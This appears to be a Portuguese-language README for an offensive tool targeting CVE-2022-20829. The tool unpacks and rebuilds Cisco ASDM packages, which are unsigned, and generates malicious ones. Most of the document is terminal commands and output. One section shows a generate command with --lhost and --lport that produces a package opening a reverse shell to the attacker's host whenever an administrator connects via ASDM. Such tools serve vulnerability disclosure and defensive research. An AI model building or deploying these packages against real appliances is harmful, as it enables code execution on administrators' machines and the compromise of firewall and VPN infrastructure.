jbaines-r7/thewayUma ferramenta para extrair, modificar e criar pacotes binários ASDM (CVE-2022-20829)
The Way é uma ferramenta para descompactar, recompactar e criar pacotes maliciosos do Cisco Adaptive Security Device Manager (ASDM). O ASDM é a GUI administrativa baseada em Java para sistemas Adaptive Security Appliance (ASA) (ex.: firewalls e VPNs). O pacote ASDM é hospedado no ASA e seus subcomponentes são baixados cada vez que um administrador se conecta ao ASA via ASDM. Um invasor que consiga plantar um pacote ASDM malicioso no ASA pode obter execução de código nos sistemas dos administradores.
A vulnerabilidade é resultado de alguns problemas. Mais especificamente, pacotes ASDM maliciosos são possíveis devido à falta de assinatura de pacotes pela Cisco. Um invasor que consiga criar um pacote adequado e calcular um hash de arquivo pode carregar pacotes arbitrários no ASA. Isso foi atribuído ao CVE-2022-20829.
Uma demonstração da exploração pode ser encontrada no YouTube aqui: https://www.youtube.com/watch?v=ydjD7lIR9Bg
albinolobster@ubuntu:~/gh_theway/build$ ./theway -ef ~/Desktop/cisco/asdm-7171-152.bin
where were they going without ever knowing
. __.....__
.'| .-'' '. _ _ .-. .-
.| < | / .-''"'-. `. /\ \\ // \ \ / /
.' |_ | | / /________\ \ `\\ //\\ // __ \ \ / /
.' || | .'''-. | | \`// \'/.:--.'. \ \ / /
'--. .-'| |/.'''. \\ .-------------' \| |// | \ | \ \ / /
| | | / | | \ '-.____...---. ' `" __ | | \ ` /
| | | | | | `. .' .'.''| | \ /
| '.'| | | | `''-...... -' jbaines-r7 / / | |_ / /
| / | '. | '. CVE-2022-20829 \ \._,\ '/|`-' /
`'-' '---' '---' 🦞 `--' `" '..'
[+] Loading /home/albinolobster/Desktop/cisco/asdm-7171-152.bin
-> Magic: ASDM IMG7.17(1)152
-> Description: Device Manager Version 7.17(1)152
-> File length: 3116f94
-> File hash: 7a2c62b3f1781655cccbb6cf9914552c
-> Compilation date: Fri, 04 Feb 2022 10:43:43 GMT
-> Manifest Entries: 13
-> Entry: 0
58110500006c0d0014000000
-> Entry length: 14
-> Entry file: asdm50-install.msi
-> Data offset: 51158
-> Data size: d6c00
-> Entry: 1
f80200003201000014000000
-> Entry length: 14
-> Entry file: asdmversion.html
-> Data offset: 2f8
-> Data size: 132
-> Entry: 2
2c0400002b0d050010000000
-> Entry length: 10
-> Entry file: dm-launcher.dmg
-> Data offset: 42c
-> Data size: 50d2b
-> Entry: 3
58110500006c0d0010000000
-> Entry length: 10
-> Entry file: dm-launcher.msi
-> Data offset: 51158
-> Data size: d6c00
-> Entry: 4
587d1200d6eef80208000000
-> Entry length: 8
-> Entry file: pdm.sgz
-> Data offset: 127d58
-> Data size: 2f8eed6
-> Entry: 5
306c0b033201000010000000
-> Entry length: 10
-> Entry file: pdmversion.html
-> Data offset: 30b6c30
-> Data size: 132
-> Entry: 6
646d0b03e70b000014000000
-> Entry length: 14
-> Entry file: public/asa-pix.gif
-> Data offset: 30b6d64
-> Data size: be7
-> Entry: 7
4c790b038a05000014000000
-> Entry length: 14
-> Entry file: public/asdm.jnlp
-> Data offset: 30b794c
-> Data size: 58a
-> Entry: 8
d87e0b03a305000014000000
-> Entry length: 14
-> Entry file: public/asdm32.gif
-> Data offset: 30b7ed8
-> Data size: 5a3
-> Entry: 9
7c840b03b805000014000000
-> Entry length: 14
-> Entry file: public/cert.jnlp
-> Data offset: 30b847c
-> Data size: 5b8
-> Entry: a
348a0b035d06000014000000
-> Entry length: 14
-> Entry file: public/cisco.gif
-> Data offset: 30b8a34
-> Data size: 65d
-> Entry: b
94900b03b5bb000018000000
-> Entry length: 18
-> Entry file: public/deployJava.js
-> Data offset: 30b9094
-> Data size: bbb5
-> Entry: c
4c4c0c03aafa010018000000
-> Entry length: 18
-> Entry file: public/dm-launcher.jar
-> Data offset: 30c4c4c
-> Data size: 1faaa
-> Entry: d
f8460e03441d000014000000
-> Entry length: 14
-> Entry file: public/index.html
-> Data offset: 30e46f8
-> Data size: 1d44
-> Entry: e
3c640e03140f010014000000
-> Entry length: 14
-> Entry file: public/jploader.jar
-> Data offset: 30e643c
-> Data size: 10f14
-> Entry: f
50730f039630000010000000
-> Entry length: 10
-> Entry file: public/lzma.jar
-> Data offset: 30f7350
-> Data size: 3096
-> Entry: 10
e8a30f0389c5010020000000
-> Entry length: 20
-> Entry file: public/retroweaver-rt-2.0.jar
-> Data offset: 30fa3e8
-> Data size: 1c589
-> Entry: 11
74691103ad05000014000000
-> Entry length: 14
-> Entry file: public/startup.jnlp
-> Data offset: 3116974
-> Data size: 5ad
-> Entry: 12
246f11037000000010000000
-> Entry length: 10
-> Entry file: version.prop
-> Data offset: 3116f24
-> Data size: 70
albinolobster@ubuntu:~/gh_theway/build$ ls -l ./output/
total 51164
-rw-rw-r-- 1 albinolobster albinolobster 879616 Apr 28 11:06 asdm50-install.msi
-rw-rw-r-- 1 albinolobster albinolobster 306 Apr 28 11:06 asdmversion.html
-rw-rw-r-- 1 albinolobster albinolobster 331051 Apr 28 11:06 dm-launcher.dmg
-rw-rw-r-- 1 albinolobster albinolobster 879616 Apr 28 11:06 dm-launcher.msi
-rw-rw-r-- 1 albinolobster albinolobster 49868502 Apr 28 11:06 pdm.sgz
-rw-rw-r-- 1 albinolobster albinolobster 306 Apr 28 11:06 pdmversion.html
-rw-rw-r-- 1 albinolobster albinolobster 3047 Apr 28 11:06 public%asa-pix.gif
-rw-rw-r-- 1 albinolobster albinolobster 1443 Apr 28 11:06 public%asdm32.gif
-rw-rw-r-- 1 albinolobster albinolobster 1418 Apr 28 11:06 public%asdm.jnlp
-rw-rw-r-- 1 albinolobster albinolobster 1464 Apr 28 11:06 public%cert.jnlp
-rw-rw-r-- 1 albinolobster albinolobster 1629 Apr 28 11:06 public%cisco.gif
-rw-rw-r-- 1 albinolobster albinolobster 48053 Apr 28 11:06 public%deployJava.js
-rw-rw-r-- 1 albinolobster albinolobster 129706 Apr 28 11:06 public%dm-launcher.jar
-rw-rw-r-- 1 albinolobster albinolobster 7492 Apr 28 11:06 public%index.html
-rw-rw-r-- 1 albinolobster albinolobster 69396 Apr 28 11:06 public%jploader.jar
-rw-rw-r-- 1 albinolobster albinolobster 12438 Apr 28 11:06 public%lzma.jar
-rw-rw-r-- 1 albinolobster albinolobster 116105 Apr 28 11:06 public%retroweaver-rt-2.0.jar
-rw-rw-r-- 1 albinolobster albinolobster 1453 Apr 28 11:06 public%startup.jnlp
-rw-rw-r-- 1 albinolobster albinolobster 112 Apr 28 11:06 version.prop
O seguinte gera um pacote ASDM malicioso que, quando enviado para um ASA, criará um shell reverso quando um cliente ASDM se conectar ao ASA.
albinolobster@ubuntu:~/theway/bu$ ./theway -g --lhost 10.9.49.248 --lport 1270
where were they going without ever knowing
. __.....__
.'| .-'' '. _ _ .-. .-
.| < | / .-''"'-. `. /\ \\ // \ \ / /
.' |_ | | / /________\ \ `\\ //\\ // __ \ \ / /
.' || | .'''-. | | \`// \'/.:--.'. \ \ / /
'--. .-'| |/.'''. \\ .-------------' \| |// | \ | \ \ / /
| | | / | | \ '-.____...---. ' `" __ | | \ ` /
| | | | | | `. .' .'.''| | \ /
| '.'| | | | `''-...... -' jbaines-r7 / / | |_ / /
| / | '. | '. CVE-2022-20829 \ \._,\ '/|`-' /
`'-' '---' '---' 🦞 `--' `" '..'
[+] Compiling Payload using `javac PDMApplet.java SgzApplet.java`
[+] Creating JAR entries
[+] Compressing jar entries with `lzma -z jars`
[+] Adding sgz wrapper
[+] Flushing the pdm.sgz to disk
-> Sizeof manifest entry c
-> Files to package
-> asdm50-install.msi
14
asdm50-install.msi
-> asdmversion.html
14
asdmversion.html
-> dm-launcher.dmg
10
dm-launcher.dmg
-> dm-launcher.msi
10
dm-launcher.msi
-> pdm.sgz
8
pdm.sgz
-> pdmversion.html
10
pdmversion.html
-> public/asa-pix.gif
14
public/asa-pix.gif
-> public/asdm.jnlp
14
public/asdm.jnlp
-> public/asdm32.gif
14
public/asdm32.gif
-> public/cert.jnlp
14
public/cert.jnlp
-> public/cisco.gif
14
public/cisco.gif
-> public/deployJava.js
18
public/deployJava.js
-> public/dm-launcher.jar
18
public/dm-launcher.jar
-> public/index.html
14
public/index.html
-> public/jploader.jar
14
public/jploader.jar
-> public/lzma.jar
10
public/lzma.jar
-> public/retroweaver-rt-2.0.jar
20
public/retroweaver-rt-2.0.jar
-> public/startup.jnlp
14
public/startup.jnlp
-> version.prop
10
version.prop
-> Entries size: 254
->Offset (asdm50-install.msi) (2f8 -> 2fc)
->Offset (asdmversion.html) (2f8 -> 2fc)
->Offset (dm-launcher.dmg) (2fc -> 300)
->Offset (dm-launcher.msi) (300 -> 304)
->Offset (pdm.sgz) (304 -> 7ed)
->Offset (pdmversion.html) (7f0 -> 7f4)
->Offset (public/asa-pix.gif) (7f4 -> 7f8)
->Offset (public/asdm.jnlp) (7f8 -> 7fc)
->Offset (public/asdm32.gif) (7fc -> 800)
->Offset (public/cert.jnlp) (800 -> 804)
->Offset (public/cisco.gif) (804 -> 808)
->Offset (public/deployJava.js) (808 -> 80c)
->Offset (public/dm-launcher.jar) (80c -> 810)
->Offset (public/index.html) (810 -> 814)
->Offset (public/jploader.jar) (814 -> 818)
->Offset (public/lzma.jar) (818 -> 81c)
->Offset (public/retroweaver-rt-2.0.jar) (81c -> 820)
->Offset (public/startup.jnlp) (820 -> 824)
->Offset (version.prop) (824 -> 891)
c1b7190c7426b2b72a6862c09cc19152
O The Way gerará "test.final.bin", que pode então ser enviado para o ASA.